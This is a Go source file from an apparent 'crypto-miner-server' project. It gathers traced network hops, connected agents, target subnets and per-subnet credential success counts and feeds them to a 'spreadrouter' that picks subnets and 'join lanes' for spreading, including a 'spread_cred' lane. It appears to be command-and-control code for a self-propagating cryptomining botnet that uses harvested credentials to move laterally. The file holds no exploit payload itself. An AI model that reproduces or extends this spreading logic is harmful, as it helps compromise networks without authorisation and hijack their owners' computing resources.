package api

import (
	"strings"

	"crypto-miner-server/internal/clearance"
	"crypto-miner-server/internal/spreadrouter"
)

// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
	in := spreadrouter.Input{
		TargetSubnets: targetSubnets,
		RequestedLane: strings.TrimSpace(requestedLane),
	}
	if hub == nil {
		return in
	}

	for _, sess := range sessions {
		if sess == nil {
			continue
		}
		snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
		for i, hop := range sess.Hops {
			if hop == nil {
				continue
			}
			subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
			if subnet == "" && hub.db != nil {
				if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
					subnet = spreadrouter.SubnetFromIP(ag.IP)
				}
			}
			snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
				AgentID:   hop.AgentID,
				AgentName: hop.AgentName,
				Subnet:    subnet,
				SessionID: sess.ID,
				HopIndex:  i,
				Connected: hub.isAgentConnected(hop.AgentID),
			})
		}
		for _, host := range serviceGraphList(sess.ServiceGraph) {
			sub := spreadrouter.NormalizeSubnet(host.Subnet)
			if sub == "" {
				sub = spreadrouter.SubnetFromIP(host.Host)
			}
			if sub == "" {
				continue
			}
			agentID := strings.TrimSpace(host.AgentID)
			if agentID == "" && len(snap.Hops) > 0 {
				agentID = snap.Hops[len(snap.Hops)-1].AgentID
			}
			snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
				Subnet:  sub,
				AgentID: agentID,
				Hosts:   []string{host.Host},
			})
		}
		in.Sessions = append(in.Sessions, snap)
	}

	hub.mu.RLock()
	connected := make([]string, 0, len(hub.agents))
	for id, conn := range hub.agents {
		if conn == nil {
			continue
		}
		connected = append(connected, id)
	}
	hub.mu.RUnlock()
	for _, id := range connected {
		if hub.db == nil {
			continue
		}
		ag, err := hub.db.GetAgent(id)
		if err != nil || ag == nil {
			continue
		}
		latency := 0
		if ag.LatencyMs != nil {
			latency = *ag.LatencyMs
		}
		clearanceLevel := clearance.L0
		if hub.clearance != nil {
			clearanceLevel = hub.clearance.Level(id)
		}
		in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
			AgentID:   id,
			AgentName: ag.Name,
			Subnet:    spreadrouter.SubnetFromIP(ag.IP),
			Clearance: clearanceLevel,
			LatencyMs: latency,
			JoinLane:  strings.TrimSpace(ag.JoinLane),
			Connected: true,
		})
	}

	in.LaneSuccess = collectLaneSuccessStats(hub)
	return in
}

func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
	if hub == nil {
		return nil
	}
	type key struct {
		subnet string
		lane   string
	}
	counts := make(map[key]int)

	hub.mu.RLock()
	connected := make([]string, 0, len(hub.agents))
	for id, conn := range hub.agents {
		if conn == nil {
			continue
		}
		connected = append(connected, id)
	}
	hub.mu.RUnlock()
	for _, id := range connected {
		if hub.db == nil {
			continue
		}
		ag, err := hub.db.GetAgent(id)
		if err != nil || ag == nil {
			continue
		}
		lane := strings.TrimSpace(ag.JoinLane)
		if lane == "" {
			continue
		}
		sub := spreadrouter.SubnetFromIP(ag.IP)
		if sub == "" {
			continue
		}
		counts[key{subnet: sub, lane: lane}]++
	}

	if hub.db != nil {
		if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
			for _, row := range rows {
				if row.SuccessCount <= 0 {
					continue
				}
				sub := spreadrouter.NormalizeSubnet(row.Subnet)
				counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
			}
		}
	}

	var out []spreadrouter.LaneSuccessStat
	for k, n := range counts {
		out = append(out, spreadrouter.LaneSuccessStat{
			Subnet:   k.subnet,
			JoinLane: k.lane,
			Success:  n,
		})
	}
	return out
}

func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
	if handler == nil {
		return nil
	}
	handler.mu.Lock()
	defer handler.mu.Unlock()
	out := make([]*TraceSession, 0, len(handler.sessions))
	for _, sess := range handler.sessions {
		out = append(out, sess)
	}
	return out
}